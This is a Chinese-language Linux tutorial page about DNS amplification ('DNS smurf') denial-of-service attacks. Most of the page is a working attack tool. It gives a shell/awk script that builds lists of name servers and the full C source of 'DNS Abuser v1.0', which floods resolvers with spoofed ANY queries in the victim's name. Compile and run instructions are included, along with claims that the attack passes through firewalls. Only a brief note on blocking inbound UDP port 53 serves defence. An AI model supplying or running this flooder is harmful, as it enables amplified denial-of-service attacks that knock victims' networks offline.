当前位置:Linux教程 - Linux - 警惕新的D.o.S方法

警惕新的D.o.S方法



        
    一种针对DNS服务器链的缺陷的报文放大技术可以使一个主机的带宽消耗殆尽。对于域名服务器接收和转发外部DNS查询的功能,实际上存在先天缺陷,攻击者可以设法扩大请求通信量,利用它来执行类似于 \"smurf attack\"的攻击,这种攻击对网络也能造成消耗大量带宽的后果。我们把这种攻击称为 \"DNS smurf\"。这些DNS服务器一般是接受外部查询请求的域名服务器,特别是那些转发查询或者重试次数过多的域名服务器(正常值为3次,但一些服务器设置为超过20次)。
      假设一个DNS查询在第一台DNS服务器上找不到记录,那么这台DNS服务器会把域名查询转发给其它的DNS服务器。假设在一段区域内的DNS链中包含有多台DNS服务器,而且该区域权威的DNS服务器也找不到能解析该域名的记录的话,那么这多台服务器都会向外面发请求,这样请求报文的数量就会被放大若干倍。这种放大技术可以用来实现D.O.S(Denial Of Service)攻击,而且很有效。
    下面程序通过发送欺骗的UDP数据包到一个名字服务器列表.
      查询的部分列表已经包含在这个源程序当中.可以自己定义查询列表以获得最大查询率(目前为20-25)运行该程序有一个小小的延迟,因为必须通过名字服务器解析IP.然后就会以全速发送UDP查询到自定义的名字服务器列表中的每一台服务器.名字服务器的名字格式为每行一个.
    当下载了inaddr.zone.gz文件后,可以利用下面脚本快速建立一名字服务器列表.
    -----------------------------------------------------
    #!/bin/sh
    ZONE=inaddr.zone;
    if [ \"x$1x\" == \"xx\" ]; then
    echo \"Usage: print_ns aprox_nr_of_servers\";
    exit
    fi
    if [ ! -f $ZONE ]; then
    echo \"Zone file $ZONE not found\";
    exit
    fi
    NR=`wc -l $ZONE`;
    awk --assign=TOT=\"$NR\" --assign=DES=\"$1\" \
    BEGIN { srand(); th=DES/TOT; };
    /NS/ { if( rand() < th )
    {
    fi = split( $0, entry );
    if( entry[fi-1] == \"NS\" )
    serv[entry[fi]] = 1;
    }};
    END { for( ns in serv )
    printf \"%s\\n\", ns;
    }\ $ZONE
    ----------------------------------------------------
    这种 DoS攻击比流行的smurf攻击有以下优势.
    1,可以列出25000或者更多的名字服务器入列表.
    2,几乎可以通过所有的防火墙系统.因为采用UDP查询,很难制定相应的过滤规则.
    3,因为没一台机器都需要一个名字解析服务器.唯一的解决办法就是拒绝所有的UDP数据包从端口53流入,除了来自本地内部的机器.(小心别毁了自己用的名字服务器.)
    用法在linux下编译,gcc -o dnsa1 dnsa1.c
    运行格式:dnsa1 目标主机 0 [dns_server列表文件.txt [dns_query列表文件.txt]]
    攻击程序如下:
    /*
    * DNS Abuser v1.0
    * Working version by Zelea
    * Last modified: 26 February 2000
    *
    * Based on dnsabuser.c by Nemo ([email protected]) and
    * on DOOMDNS by FuSyS
    *
    * Usage: dnsa1 target times [dns_server.txt [dns_query.txt]]
    * times = 0 表示一直连续攻击
    */
    /* This program is for educational purpose only */
    #include stdio.h
    #include string.h
    #include unistd.h
    #include stdlib.h
    #include sys/types.h
    #include sys/socket.h
    #include arpa/inet.h
    #include arpa/nameser.h
    #include netinet/in.h
    #include netinet/ip.h
    #include netinet/udp.h
    #include netdb.h
    #include time.h
    #define IP_HEAD_BASE 20
    #define UDP_HEAD_BASE 8
    #define DNS_QSIZE 64
    #define MAX_LINE 255
    #define MAX_QUERYS 255 // maximum buffer size
    #define MAX_SERVERS 255 // maximum buffer size
    #define QUERY_LENGTH 32 // max QUERY length
    #define DEF_DOMAINS \"./dns_server.txt\" // name servers
    #define DEF_QUERYS \"./dns_query.txt\" // query list file
    struct DNS_MSG
    {
    HEADER head;
    char query[DNS_QSIZE];
    };
    struct dns_pkt
    {
    struct iphdr ip;
    struct udphdr udp;
    char data[DNS_QSIZE];
    };
    char dns_query[MAX_QUERYS][QUERY_LENGTH];
    char *dns_query_def[] =
    { \"ca\", \"de\", \"es\", \"ch\", \"be\", \"ie\", \"cr\", \"org\", \"com\", \"edu\",
    \"gov\", \"net\", \"se\", \"gr\", \"ro\", \"fr\", \"it\", \"ru\", \"pl\", \"ma\",
    \"in\", \"fi\", \"nrc.ca\", \"pse.pl\", \"arpa\", \"ucd.ie\", \"nl\", \"sk\",
    \"at\", \"psi.net\", \"uqam.ca\", \"ac.cy\", \"cz\", \"sh\", \"nu\",
    \"gmx.net\", \"ac.in\", \"usc.edu\", \"ac.uk\", NULL };
    unsigned long dns_servers[MAX_SERVERS];
    unsigned long saddr;
    int sd; //
    unsigned long
    nameResolve( const char *name )
    {
    struct hostent *host;
    struct sockaddr_in addr;
    memset( &addr, 0, sizeof( struct sockaddr_in ) );
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr( name );
    if ( addr.sin_addr.s_addr == -1 )
    {
    if ( ( host = gethostbyname( name ) ) == NULL )
    {
    fprintf( stderr, \"Unable to resolve host %s\\n\", name );
    return ( -1 );
    }
    addr.sin_family = host->h_addrtype;
    memcpy( ( caddr_t ) & addr.sin_addr, host->h_addr, host->h_length );
    }
    return ( unsigned long ) addr.sin_addr.s_addr;
    }
    void
    doomzone( void )
    {
    static int nsptr = 0;
    static int qptr = 0;
    unsigned long daddr;
    unsigned short psrc, pdest;
    struct sockaddr_in sin;
    struct dns_pkt dpk;
    struct DNS_MSG killer;
    int shoot, len;
    char *p, *plgt;
    if ( dns_servers[nsptr] == 0L )
    nsptr = 0;
    daddr = dns_servers[nsptr++];
    if ( *dns_query[qptr] == \\\0\ )
    qptr = 0;
    psrc = htons( 1024 + ( rand( ) % 2000 ) );
    pdest = htons( 53 );
    // build packets ...
    memset( &killer, 0, sizeof( killer ) );
    killer.head.id = getpid( );
    killer.head.rd = 1;
    killer.head.aa = 0;
    killer.head.opcode = QUERY;
    killer.head.qr = 0;
    killer.head.qdcount = htons( 1 );
    killer.head.ancount = htons( 0 );
    killer.head.nscount = htons( 0 );
    killer.head.arcount = htons( 0 );
    strcat( killer.query + 1, dns_query[qptr++] );
    p = plgt = killer.query;
    do
    {
    p++;
    while ( *p != \.\ && *p != \\\0\ )
    p++;
    *plgt = ( u_char ) ( p - plgt - 1 );
    plgt = p;
    }
    while ( *p == \.\ );
    p++;
    *(( unsigned short * ) p)++ = htons( T_ANY ); /* type ANY */
    *(( unsigned short * ) p)++ = htons( C_IN ); /* class IN */
    len = 12 + p - killer.query;
    memset( &dpk, 0, sizeof( dpk ) );
    dpk.udp.source = psrc;
    dpk.udp.dest = pdest;
    dpk.udp.len = htons( UDP_HEAD_BASE + len );
    memcpy( dpk.data, ( void * ) &killer, len );
    dpk.ip.ihl = 5;
    dpk.ip.version = 4;
    dpk.ip.tos = 0;
    dpk.ip.tot_len = htons( IP_HEAD_BASE + UDP_HEAD_BASE + len );
    dpk.ip.frag_off = 0;
    dpk.ip.ttl = 64;
    dpk.ip.protocol = IPPROTO_UDP;
    dpk.ip.saddr = saddr;
    dpk.ip.daddr = daddr;
    memset( &sin, 0, sizeof( sin ) );
    sin.sin_family = AF_INET;
    sin.sin_port = pdest;
    sin.sin_addr.s_addr = daddr;
    shoot = sendto( sd, &dpk,
    ( IP_HEAD_BASE + UDP_HEAD_BASE + len ), 0,
    ( struct sockaddr * ) &sin, sizeof( sin ) );
    if ( shoot < 0 )
    fprintf( stderr, \"SPOOF ERROR\" );
    }
    int
    main( int argc, char *argv[] )
    {
    FILE *dd, *qd; // file pointers
    int i, j, sd_opt;
    unsigned int times = 0;
    unsigned long ns_addr;
    char line[MAX_LINE];
    char *p;
    // unbuffered output
    setbuf( stdout, NULL );
    setbuf( stderr, NULL );
    // ->simple<- parameter checking :P
    if ( argc < 3 )
    {
    fprintf( stderr, \"\\nUsage:\\t%s target times \"
    \"[dns_servers.txt [dns_query.txt]]\\n\\n\", argv[0] );
    exit( 0 );
    }
    saddr = nameResolve( argv[1] );
    times = atoi( argv[2] );
    // loading files
    dd = fopen( DEF_DOMAINS, \"r\" );
    if ( argc > 3 )
    {
    if ( ( dd = fopen( argv[4], \"r\" ) ) == NULL )
    {
    fprintf( stderr, \"\\nCannot open domain file %s. Quitting...\\n\", argv[4] );
    exit( 0 );
    }
    }
    if ( argc > 4 )
    {
    if ( ( qd = fopen( argv[5], \"r\" ) ) == NULL )
    {
    fprintf( stderr, \"\\nCannot open query file %s. Quitting...\\n\", argv[5] );
    exit( 0 );
    }
    }
    else
    {
    qd = fopen( DEF_QUERYS, \"r\" );
    }
    if ( dd == NULL )
    {
    fprintf( stderr, \"\\nCannot open domain file. Quitting...\\n\" );
    exit( 0 );
    }
    i = 0;
    do
    {
    fgets( line, MAX_LINE - 1, dd );
    if ( ( p = strchr( line, \\\n\ ) ) != NULL )
    *p = \\\0\;
    if ( ( ns_addr = nameResolve( line ) ) != -1 )
    dns_servers[i++] = ns_addr;
    }
    while ( ( i < MAX_SERVERS - 1 ) && !feof( dd ) );
    dns_servers[i] = 0L;
    i = 0;
    j = 0;
    if ( qd == NULL )
    {
    while ( ( i < MAX_QUERYS - 1 ) && dns_query_def[j] != NULL )
    {
    if ( strlen( dns_query_def[j] ) < QUERY_LENGTH )
    strcpy( dns_query[i++], dns_query_def[j++] );
    else
    j++;
    }
    }
    else
    {
    do
    {
    fgets( line, MAX_LINE - 1, qd );
    if ( ( p = strchr( line, \\\n\ ) ) != NULL )
    *p = \\\0\;
    if ( strlen( line ) < QUERY_LENGTH )
    strcpy( dns_query[i++], line );
    }
    while ( ( i < MAX_QUERYS - 1 ) && !feof( qd ) );
    }
    *dns_query[i] = \\\0\;
    fclose( dd );
    fclose( qd );
    // opening sockets ...
    srand( time( NULL ) );
    sd_opt = 1;
    if ( ( sd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
    {
    fprintf( stderr, \"\\nSocket error. Quitting...\\n\" );
    exit( 0 );
    }
    if ( setsockopt( sd, IPPROTO_IP, IP_HDRINCL, &sd_opt,
    sizeof( sd_opt ) ) < 0 )
    {
    fprintf( stderr, \"\\nIP Error. Quitting...\\n\" );
    exit( 0 );
    }
    printf( \"\\n\\n\\033[1;36mDNS Abuser v1.0\\033[0m\" );
    printf( \"\\n\\033[1;31mDNS-based flooder\\033[0m\" );
    // flooding engine
    printf( \"\\n\\033[1;32mFlooding %s:\\033[0m\\n\", argv[1] );
    i = 0;
    while ( times == 0 || i < times )
    {
    doomzone( );
    i++;
    if ( !( i % 100 ) )
    printf( \"\\033[0;32m.\\033[0m\" );
    }
    printf( \"\\n\\n\" );
    return ( 0 );
    }
    [email protected]
    发布人:netbull 来自:LinuxAid